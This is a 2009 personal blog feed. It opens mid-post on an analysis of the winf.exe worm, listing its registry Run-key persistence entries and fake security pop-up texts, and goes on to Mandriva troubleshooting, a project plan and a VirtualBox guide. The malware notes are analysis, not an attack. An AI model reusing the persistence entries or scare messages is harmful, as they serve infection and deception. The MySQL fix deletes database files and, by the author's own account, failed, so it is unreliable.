small;"&gt;;*******************************end of autorun.inf*******************************&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Further it writes following registry values.&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status,present&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;Also this virus is the one&amp;nbsp;which&amp;nbsp;pops up message boxes when you visit orkut or youtube. Well this kinda of message you will be getting and also it has a playback sound ;).&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;message1= &amp;nbsp; &amp;nbsp;msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window ``r``r &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;orkut is infected by jammer worm ,30&lt;br /&gt;&lt;/span&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;message2= &amp;nbsp; &amp;nbsp;msgbox,262160,File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus &amp;nbsp;``r``r &amp;nbsp; &amp;nbsp; &amp;nbsp; ,30&lt;br /&gt;&lt;/span&gt; &lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: small;"&gt;message3= &amp;nbsp; &amp;nbsp;msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run``r``r &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Well still there are many things this virus can do I can't explain everything here ;). Whenever you see winf.exe files just scan it once to remove all harmful programs(win.exe, avgs.exe, reg.bkp) then you are left with only text image and a mp3 file.&amp;nbsp;If I interpreted something wrongly here please correct me with you comments.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6427366701036357420?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/winfexe-disected.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6427366701036357420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6427366701036357420'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/winfexe-disected.html' title='winf.exe Disected'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2213904507789650075</id><published>2009-01-06T08:26:00.000-08:00</published><updated>2009-01-06T09:27:51.140-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mandriva 2009'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql bug'/><title type='text'>MySQL failing to start in Mandriva 2009</title><content type='html'>&lt;div style="text-align: justify;"&gt;Well one more surprise is given to me by Mandriva 2009 after the Compaq Presario incidence. Well that incidence is because of H/W manufacturers not software problem. But this is again strange problem which I got when I tried to install Joomla for developing a website. As Joomla needs MySQL I just typed mysql in shell prompt, output showed me that MySQL(mysqld) is not running. So I used following 2 commands&lt;/div&gt;&lt;blockquote&gt;#/etc/init.d/mysqld start&lt;br /&gt;#service mysqld start&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;I know both commands are one and the same ;) both used to start the mysqld (mysql daemon). Well following error I got.&lt;/div&gt;&lt;blockquote&gt;ERROR: hostname cannot be localhost, mysql_install_db is quite unstable&lt;br /&gt;https://qa.mandriva.com/show_bug.cgi?id=38398&lt;/blockquote&gt;Well I followed the link given in error message. &lt;a href="https://qa.mandriva.com/show_bug.cgi?id=38398"&gt;https://qa.mandriva.com/show_bug.cgi?id=38398&lt;/a&gt; this leads to Bugzilla of Mandriva. I tried to understand what they have given there without any clue of what it actually is. One person had given error message which I've showed above. Solution was something like this&lt;br /&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse; color: black; font-family: Verdana; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;1. rpm -e mysql&lt;br /&gt;2. rm -f /var/lib/mysql/mysql/*&lt;br /&gt;3. /bin/hostname 127.0.0.1&lt;br /&gt;4. urpmi mysql&amp;nbsp;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse; color: black; font-family: Verdana; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;pre class="bz_comment_text" style="font-family: monospace; font-size-adjust: none; font-size: medium; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; white-space: pre-wrap; width: 50em;"&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;or do steps 1 and 2 and then install latest mysql-5.0.51a-4mdv2008.1&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;I followed 1st and 2nd link and finally installed the mysql which comes with Mandriva 2009 and here I go when I try starting mysqld it says can't read &lt;b&gt;/var/lib/mysql/mysql&amp;nbsp;&lt;/b&gt; which I deleted as per steps they have given. Well I'll try again with Mandriva 2008 cd hope it works ;)&lt;/div&gt;Now searching for a more stable distro for my project work ;)&lt;br /&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse; color: black; font-family: Verdana; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2213904507789650075?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/mysql-failing-to-start-in-mandriva-2009.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2213904507789650075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2213904507789650075'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/mysql-failing-to-start-in-mandriva-2009.html' title='MySQL failing to start in Mandriva 2009'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1366804871478937701</id><published>2009-01-03T01:47:00.000-08:00</published><updated>2009-01-03T02:07:41.797-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva 2009 on Comapq presario'/><title type='text'>Temporary Solution for problem found in Mandriva 2009 installed on Compaq Presario CQ40</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: inherit;"&gt;Hi folks as I mentioned in my last post about whisteling sound problem today I've come up with a solution. Thanks to our System Analyst who helped me to find the solution. Well here are the few things you need to do.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span style="font-family: inherit;"&gt;1. Launch the kmixer's mixer window&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;2. In &lt;b&gt;Settings&lt;/b&gt; menu select &lt;b&gt;Configure Channels&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;3. Select all the options in the selection window&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;4. You'll see all the controllers in the kmixer window&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;5. Mute &lt;b&gt;Analog Loop back 1 &amp;amp; 2&lt;/b&gt;, &lt;b&gt;PC Beep&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: inherit;"&gt;You are done and the whisteling stops ;).&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: inherit;"&gt;Well what actually we did is muted the microphone so your notebook still can play music without any problem. :D&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: inherit;"&gt;And this particular problem is only found in Compaq Presario CQ40 series so go ahead with installation of Mandriva without any worries if you are using different notebooks ;) &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SV83OYjLiGI/AAAAAAAAAfo/MdHZSBzU2lo/s1600-h/channels.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SV83OYjLiGI/AAAAAAAAAfo/MdHZSBzU2lo/s320/channels.jpeg" width="320" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SV83VG3FxGI/AAAAAAAAAfw/DktaoAIY_bs/s1600-h/kmixer.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SV83VG3FxGI/AAAAAAAAAfw/DktaoAIY_bs/s320/kmixer.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1366804871478937701?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/temporary-solution-for-problem-found-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1366804871478937701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1366804871478937701'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/temporary-solution-for-problem-found-in.html' title='Temporary Solution for problem found in Mandriva 2009 installed on Compaq Presario CQ40'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pms4ehFPMfI/SV83OYjLiGI/AAAAAAAAAfo/MdHZSBzU2lo/s72-c/channels.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7936166150368120558</id><published>2009-01-02T05:28:00.000-08:00</published><updated>2009-01-03T08:23:29.446-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='final year project idea'/><title type='text'>My Final year project IDEA !!</title><content type='html'>&lt;div style="text-align: justify;"&gt;Well long waited final semester of Engineering has finally come ;). This semester we need to do a project and I was not at all getting any idea regarding the project. Finally our college System Analyst gave me idea and I'm waiting to work on his idea. Well I'm going to give a brief introduction of the idea here.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The name I gave to my project is very long and I don't know whether the name suits the idea. If you folks have a better name for the project please let me know about it. For now its called &lt;b&gt;"Centralised Internet Access Control and Monitoring System". &lt;/b&gt;Well let me describe what is my project actually.&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Main idea is to provide a single server to allow all the persons to access internet. Presently we have arround 6 server (say) in our college. In each floor systems accessing internet is given different IP address. Say in 5th floor its 172.16.4.* and for 3rd its 172.16.3.* and some machines also have a range of 172.16.2.*. So main idea is to have a single IP range for all the machines that are allowed to access internet. Which means we should have a single server to control internet access for all machines in the college. Well you may think what is the big deal in this ;). Wait till you listen to entire story.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Second thing what our system analyst wanted to do is controll user access to the internet.Currently students should manually enter their USN in a sheet when they enter the lab and its assumed all students can access internet for only one hour. But this is not happening some time students will be sitting more that 3 hours in the internet lab. So we should have a authentication for the users who can access the internet and some mechanism for restricting internet usage time for the students. Well all this mechanism shoul reside on the central server (that is why we wanted to make a single server for controlling internet access).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;All what I told is on the server side of the project. Now lets take a look at what is needed on a client. First we need a method to authenticate the client. For know the project is only meant for Firefox browser since it is open source and can be modified and recompiled. And some kind of mechanism to keep track of sites accessed by each user. Also user should not be allowed to access banned sites.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Well that finished client and server now whoose gonna take care of them yes a administrator is needed. Well administrator should have a web access to the system. He should be able to manage users, specify the time of access, blocked site,report generation and so on ;)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Well thats all about my project I'll elaborate you folks with all technology I'm going to use in the project and also about their configuration steps. For now these are technolgies I'm planning to use in my project.&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;1.RADIUS and LDAP&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2.LAMP(Linux,Apache,MySQL,PHP)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3.Java,JSP&lt;/div&gt;&lt;div style="text-align: justify;"&gt;4.Firefox&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7936166150368120558?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/my-final-year-project-idea.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7936166150368120558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7936166150368120558'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/my-final-year-project-idea.html' title='My Final year project IDEA !!'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3962221363025812255</id><published>2009-01-02T04:16:00.000-08:00</published><updated>2009-01-02T04:32:57.085-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='firefox bug?'/><title type='text'>Firefox getting hung up - Is this a bug?</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: inherit;"&gt;I'm using Firefox 3.0.5 on WINDOWS XP and having a problem while accessing the &lt;a href="http://www.facebook.com/"&gt;Facebook&lt;/a&gt;&lt;/span&gt;. This problem started to me a week back whenever I launch some applications in facebook firefox will stop&amp;nbsp; responding and only way left with me is to kill the process. This problem occurs only for facebook apps. First I thought it might be due to corrupt installation but same problem occured to my friend when he accessed facebook. Firefox is working fine with all other site only with facebook this problem is occuring. So my big question is is this a bug ? if not can you provide me a solution ;)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3962221363025812255?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/firefox-getting-hung-up-is-this-bug.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3962221363025812255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3962221363025812255'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/firefox-getting-hung-up-is-this-bug.html' title='Firefox getting hung up - Is this a bug?'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3589173385106691845</id><published>2009-01-02T03:28:00.000-08:00</published><updated>2009-01-02T03:56:24.744-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva 2009 on Comapq presario'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Problem found in Mandriva 2009 while installig on Compaq Presario CQ40 Notebook series</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;My cousin got a new Comapq Presario Laptop&lt;/span&gt; as my exams got over I thought of installing my favourite Linux distro Mandriva (2009). Well installation went fine and I happily rebooted to see how it will work on Laptop. Well here the problem started instead of Mandriva normal boot flash screen command screen started and a list of undetected hardware list came infront of me and a &lt;span style="color: red;"&gt;loud noise&lt;/span&gt; noise started to came from laptop !!!. Well I didn't know what to do, I some how powered off the system. Today I asked my sir to do a clean reinstall and he did it but problem still persists. But he told its nothing but a&lt;b&gt; "loop back from microphone on Laptop to its speaker".&amp;nbsp;&lt;/b&gt;&lt;/div&gt;I tried following&lt;br /&gt;&lt;blockquote&gt;1. Tried to mute all loop back sound using kmix.&lt;br /&gt;2. Opened Mandriva controll center and&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disabled Pulse Audio&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disabled routing from ALSA to Pulse Audio&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disabled user switching for audio application option&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SV3_x_GOM8I/AAAAAAAAAfg/Cq99-Ay64BM/s1600-h/sofq9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SV3_x_GOM8I/AAAAAAAAAfg/Cq99-Ay64BM/s400/sofq9.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Did all this blindly in a hope of stopping the noise. Well it still didn't work !! Well sadly rebooted to Windows ;) well as a last try I googled up this matter and here is what I got from Mandriva forum&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;I don't think our sound controllers work very well for the time beein'. I had to disable pulse audio as well as 'shifting user' or something like that. Then I had to choose Intel HDA driver. Log out ---&amp;gt; back in of course.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;The strange thing is that I had another (awesome!) mixer with the clean Mandriva 2009 install. Because of the ATI HD3300 and all videoproblems I ended up updating via backport, so I am not quite shore when what happened, but after updating to fglrx-kernel (ATI 8.11) I had some sound issues.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;So my call: - disable pulse and switching user&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;- Choose Intel HDA-driver(s). I have two controllers visible.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;I choosed Intel HDA as alternate driver as well.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="border-collapse: separate; color: #555555; font-family: Tahoma; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;- Still not working? Consider kernel update. I am running 2.6.27.4-server-2mnb @ the moment&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: inherit;"&gt;So what I did was correct but if it had worked Notebook will be muted. And as I found on the forum only&amp;nbsp; last option I'm left with is to upgrade Kernel to 2.6.27 version. Well I'll try this last option and update you folks with result.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-family: inherit;"&gt;Image source: &lt;/span&gt;&lt;a href="http://forum.mandriva.com/viewtopic.php?p=596151&amp;amp;sid=9474495ee0f0df300df9391419e3e591"&gt;http://forum.mandriva.com/viewtopic.php?p=596151&amp;amp;sid=9474495ee0f0df300df9391419e3e591&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3589173385106691845?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/01/problem-found-in-mandriva-2009-while.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3589173385106691845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3589173385106691845'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/01/problem-found-in-mandriva-2009-while.html' title='Problem found in Mandriva 2009 while installig on Compaq Presario CQ40 Notebook series'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pms4ehFPMfI/SV3_x_GOM8I/AAAAAAAAAfg/Cq99-Ay64BM/s72-c/sofq9.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-5457976789449250143</id><published>2008-11-06T21:18:00.000-08:00</published><updated>2008-11-07T06:53:53.784-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virtualization'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualbox installation'/><title type='text'>Virtualisation Using Virtual Box</title><content type='html'>&lt;div style="text-align: justify;"&gt;Ever imagined of using a new OS in your existing OS may be Windows or Linux without rebooting your system, well you can do it if you have Virtual Machine softwares some of them are VMWare,Virtual Box by SUN,Quemu etc. Here i'm going to tell how to set up a new system inside your Windows OS using Virtual Box.Download Virtual Box from this &lt;a href="http://www.virtualbox.org/"&gt;link&lt;/a&gt;.Install the software and then launch Virtual Box.From the &lt;i&gt;File&lt;/i&gt; menu select &lt;i&gt;Virtual Disk Manager&lt;/i&gt;. See image below&lt;/div&gt;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/zVfEwG3ytXqAcsvWjnQ7QQ?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh6.ggpht.com/_Pms4ehFPMfI/SRMwr6rPTxI/AAAAAAAAAdA/6PSc0W-HRPU/s400/vdiskmanager.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;Virtual Disk manager will pop up, there click on new and a disk creating wizard will pop up as shown in the image below. Click next and select &lt;i&gt;Fixed-size image.&lt;/i&gt;In the next window you should allocate size for virtual hard disk image. &lt;i&gt;Maximum possible for Fixed allocation is 3.5GB. &lt;/i&gt;Image describing the step are below.&lt;/div&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/ymzgJPkhiBvOsf_LNJQTIw?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh4.ggpht.com/_Pms4ehFPMfI/SRMwsUTLwPI/AAAAAAAAAdg/yi1q2uX2oJk/s400/creat_d1.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/1SO4BV0rTrK5j415Btlzbw?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh5.ggpht.com/_Pms4ehFPMfI/SRMwsEF1AwI/AAAAAAAAAdY/C7GiNU_wYyw/s400/allocate.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;As you can see you can name your hard disk file also image will be stored by default in C drive in &lt;i&gt;MyDocuments&lt;/i&gt; . Click on the folder icon to browse to other drive and save there. Click next and click on &lt;i&gt;Finish, &lt;/i&gt;image creation will start. If you want more you space can repeat the procedure again to create another disk image. I suggest you shoul provide atleast 6GB space for Linux 